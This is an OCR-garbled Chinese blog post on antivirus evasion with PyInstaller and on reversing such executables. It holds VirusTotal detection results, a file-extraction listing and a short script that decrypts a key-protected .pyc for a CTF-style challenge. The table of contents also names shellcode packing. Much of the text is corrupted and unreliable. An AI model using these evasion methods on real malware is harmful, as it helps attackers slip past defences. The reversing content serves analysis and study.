&4bits  assembly  Invalid-rich-pe-linker-version  overlay  peexe
x  Community o
Score
DETECTION DETAILS BEHAVIOR COMMUNITY
Crowdsourced YARA Rules
Matches r.u!e Pylnstaller by @bartblaze from ruleset Pylnstaller at https:/igithub.com/bartblaze/Yara-rules & View Ruleset
L Identifies executable converted using Pyinstaller.
AhnLab-V3 @ Trojan/Win.Generic. C4448530 Antiy-AV0L @ Trojan/Generic. ASMalws.325A072
SecurefAge APEX @ Malicious Awira (no cloud) @ HEUR/AGEN 1142245
Gridinsoft @ TrejanWiné4.CoinMiner.oalsl Zilya @ Trojan.BadurWin32.34334
Acronis (¥} Undetected Ad-Aware (¥) Undetected
Alibaba (¥) Undetected AlYac () Undetected
Arcabit (+) Undetected Baidu () Undetected
BitDefender (¥) Undetected BitDefenderTheta (%) Undetected
Bkav Pro (7) Undetected CAT-QuickHeal © un 71 L S erowsec
L N L == il
ClamAv (¥) Undetected CMC (¥) Undstected
X
2021.10.298%F: (BRCQY
] c2b081abé5dbd4848eff43a?baeldaddabecd8?45f12b053470484cdb2df838fc Q s
32 (1) 32 security vendors flagged this file as malicious
166
c2b081a565dbd4848eff43a%bae0daddabed8945f12b053470484cdb2dfa38fc 640 MB 2021-09-19 09:30:11UTC
tast.axe Size 1month ago
7
64bits  assembly checks-network-adapters  direct-cpu-clock-access  invalid-rich-pe-linker-version  overlay peexe runtime-modules
x Community  »
Score
DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY
Crowdsourced YARA Rules

/A Matches rule Pylnstaller by @bartblaze from ruleset Pylnstaller at https:/igithub.com/bartblaze/Yara-rules
Ly ldentifies executable converted using Pylnstaller.

Crowdsourced Sigma Rules

lln CRITICALO  HIGHO LOW1
1match for rule Always Install Elevated Windows Installer by Teymur Kheirkhabarov (idea), Mangat... from Sigma Integrated Rule Set (GitHub)

Ly This rule will looks for Windows Installer service (msiexec.exe) when it tries to install MSI packages with SYSTEM privilege

(1) 1match for rule Non Interactive PowerShell by Roberto Rodriguez @Cyb3rWardOg (r... from Sigma Integrated Rule Set (GitHub)
Ly Detects non-interactive PowerShell activity by looking at powershell.exe with not explorer.exe as a parent.
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AXE, UANGZAERELE EHIHAMEERpython¥HEH, HP—NMREFEEFNpythoniTHE
MexedtiTiHi, BAKERNMT: (FREHFSEXBERR, HEYE)D

6.1 ER=NAA
EXBMEHT — MHpyinstaller --key -F SEITEHI .

xe y
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6.2 E—ER S Ekey
ffifpyinstxtractor. py# T ¥ M.

»python pyinstxtractor. py guess_python. exe
) module is deprecated in favour of importlib: see th
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guess_python.e
xe_extracted

@ T

PYZ-00.pyz_extracted
_asyncio.pyd
_bz2.pyd
_ctypes.pyd
_decimal.pyd
_hashlib.pyd
_lzma.pyd
_multiprocessing.pyd
_overlapped.pyd
_queue.pyd
_socket.pyd

_ssl.pyd
base_library.zip

By v o dweweww

guess_python

guess_python.exe.manifest
libcrypto-1_1.dll

o libffi-7.dll

libssl-1_1.dll

|# pyexpat.pyd

" pyi_rth_multiprocessing
pyiboot01_bootstrap
pyimod00_crypto_key
pyimod01_os_path
pyimod02_archive

pyimod03_importers
pyi-windows-manifest-filenam
python38.dll

PYZ-00.pyz

select.pyd

= %] &

struct

tinyaes.cp38-win_amdé4.pyd

e A L

unicodedata.pyd
. VCRUNTIME140.dll

guess_python.e
xe
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Python Extension ... 64 KB
Python Extension ... 86 KB
Python Extension ... 125 KB
Python Extension ... 264 KB
Python Extension ... 47 KB
Python Extension ... 161 KB
Python Extension ... 31 KB
Python Extension ... 47 KB
Python Extension ... 30 KB
Python Extension ... 79 KB
Python Extension ... 152 KB
360/E4s ZIP 34 761 KB
M4 1KB
MANIFEST 3Z{4 2 KB
RIFRfEFY B 3,320 KB
PR R 33 KB
R FERERY B 674 KB
Python Extension ... 187 KB
X 3 KB
M1 4 KB
pres 1KB
M4 2 KB
X 9 KB
i 13 KB
MANIFEST 3Z{4 0O KB
RIFBTEFFY R 4,110 KB
Python Zip Applica... 1,661 KB
Python Extension ... 28 KB
M 1KB
Python Extension ... 40 KB
Python Extension ... 1,073 KB
TR R 92 KB
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FEX B fkey 174 000000guess flag HFNHAEFreyfl.

FEIX B I BA X N B SO AT AR, SRR B il key ZHORHR IS, XA SRR 17 o

thEBfm > AMBEEER (C) » 000_python_exe » reverese_guess » guess_python.exe » guess_python.exe_extracted > PYZ-00.pyz_extracted
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BN
| genericpath.pyc.encrypted
| getopt.pyc.encrypted
| getpass.pyc.encrypted

| | gettext.pyc.encrypted

e HER

2021/10/12 10:05
2021/10/12 10:05
2021/10/12 10:05
2021/10/12 10:05

2021/10/12 10:05

| | guess.pyc.encrypted

=%

FKih
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2021/10/12 10:05

| hashlib.pyc.encrypted

| hmac.pyc.encrypted

| html.entities.pyc.encrypted
| html.pyc.encrypted

| http.client.pyc.encrypted

| http.cookiejar.pyc.encrypted
| http.pyc.encrypted
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2021/10/12 10:05
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ENCRYPTED 324 5> KB
ENCRYPTED 3Z{4 4KB
ENCRYPTED 3Zf4 3 KB
ENCRYPTED 32 8 KB
ENCRYPTED sz 3 KB
ENCRYPTED {4 1 KB
PR PP —
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ENCRYPTED 32 3 KB
ENCRYPTED 3Z{4 20 KB
ENCRYPTED {4 5 KB
ENCRYPTED 3Z{4 15 KB
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#from key import key
import tinyaes

key = "0@00000guess_flag"
print (key)

f = open('./guess.pyc.encrypted', 'rb')

data = f.read()

cipher = tinyaes.AES(key.encode(), data[:16])
output = cipher.CTR_xcrypt_buffer(data[16:])
f.close()

import zlib
output = zlib.decompress(output)

f = open('./guess.pyc', 'wb')
f.write(output)

get_pyc.py
B guess.pyc
guess.pyc.encrypted

BN C:\Windows\system32\cmd.exe

python.

pted’,

f’o M{ES: crowsec
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guess.pyc Untitled1

R 41=2: crowsec

Hhlstruct XHME—T, REEENguess pyc XHHIEBERL, Bl—EEKSTHEF.

struct guess.pyc reverse.pyc x

Run Template

00|70 79 69 30(10 01 00 00 | U.iuwueees. o
00 00 00 00 00 00 00 00 00 00 00 00 00 00 OOfMES...............
14 00 00 00 40 00 00 00 F3 4E 00 00 00 64 oofM..... i
01 64 02 64 03 64 04 64 05 64 06 64 07 64
09 64 03 64 OA 64 OB 64 02 64 OC 64 OD 64
OF 64 10 64 11 67 14 S5A 00 64 12 64 13 84
01 64 14 64 15 84 00 5A 02 65 03 64 16 6B
4A 65 02 83 00 01 00 64 17 53 00 29 18 E9
00 00 E9 76 00 00 00 E9 6B 00 00 00 E9 71 00
00 E9 85 00 00 00 E9 4D 00 00 00 E9 79 00 00
E9 78 00 00 00 E9 69 00 00 00 E9 42 00 00 00
7F 00 00 00 E9 56 00 00 00 E9 7E 00 00 00
00 00 00 E9 3A 00 00 00 E9 4A 00 00 00 E9
00 00 E9 87 00 00 00 63 01 00 00 00 00 00 R ST
00 00 00 00 05 00 00 00 04 00 00 00 43 00 OOfMM. ............
F3 36 00 00 00 67 00 7D 01 67 00 7D 02 7C 00 T X
00 5D 1A 7D 03 74 00 7C 03 64 01 18 00 83 S BIEIIEER - o\Wsec
04 7C 01 A0 01 7C 04 Al 01 01 00 71 OC 64 5
n?2 7r N1 a1 N1 7n N2 7 N2 83 AN 29 NR 4R

6.3 uncompyle6 ¥ [ pyc 3 14

uncompyle6 reverse.pyc > codel@l3.py
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bit (AMD64) ]

def {bbb) :

c = chr(i - ]
list2.append(c)

else:
list3 = -Jjoin(list2)

return list3

def (0:
while True:
try:
tmp = str{input( :oNyy
if tmp == decrypt(new list):
print(’' )
break
else:
if tmp == str( §a=
print( )
break
else:
print( )
except:
pass

flaal}

if

07 545

FXEENpyinstal lerTTRESCH#AT TR B F ST, ERXELE-LERKNMNMtips, KPS
FETEZHRREL, PZHESHR, FESMITERBAIEEIE.
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https://zhuanlan.zhihu.com/p/133303836
https://blog.csdn.net/1zy98/article/details/83246281
https://blog.csdn.net/qwemicheal/article/details/52864656

https://s@uthwood.github.io0/2021/06/22/CISCN-N-2021-RE-Writeup/

WEAKRS: SHZE

AR ENIRBELE R !



	pyinstaller打包exe免杀和逆向浅析
	01 python3常见打包方法
	02 文件打包测试
	2.1 pyinstaller打包测试
	2.1.1 简单的打印输出
	2.1.2 文件处理操作

	2.2 py2exe打包测试
	2.2.1 py2exe安装
	2.2.2 py2exe打包测试

	2.3 打包文件总结

	03 Pyinstaller -F参数反编译
	3.1  测试环境
	3.2  pyinstaller打包程序为exe
	3.3 反编译_pyc
	3.4 pyc到源码

	04 -F --key参数反编译
	4.1 python版本的shellcode
	4.2 --key参数反编译

	05 正确使用 key参数
	5.1 不使用--key参数
	5.2 pyinstaller使用--key参数打包exe
	5.3 总结

	06 加key参数逆向源码
	6.1 背景介绍
	6.2  第一层解包拿key
	6.3 uncompyle6 逆向pyc文件

	07 总结

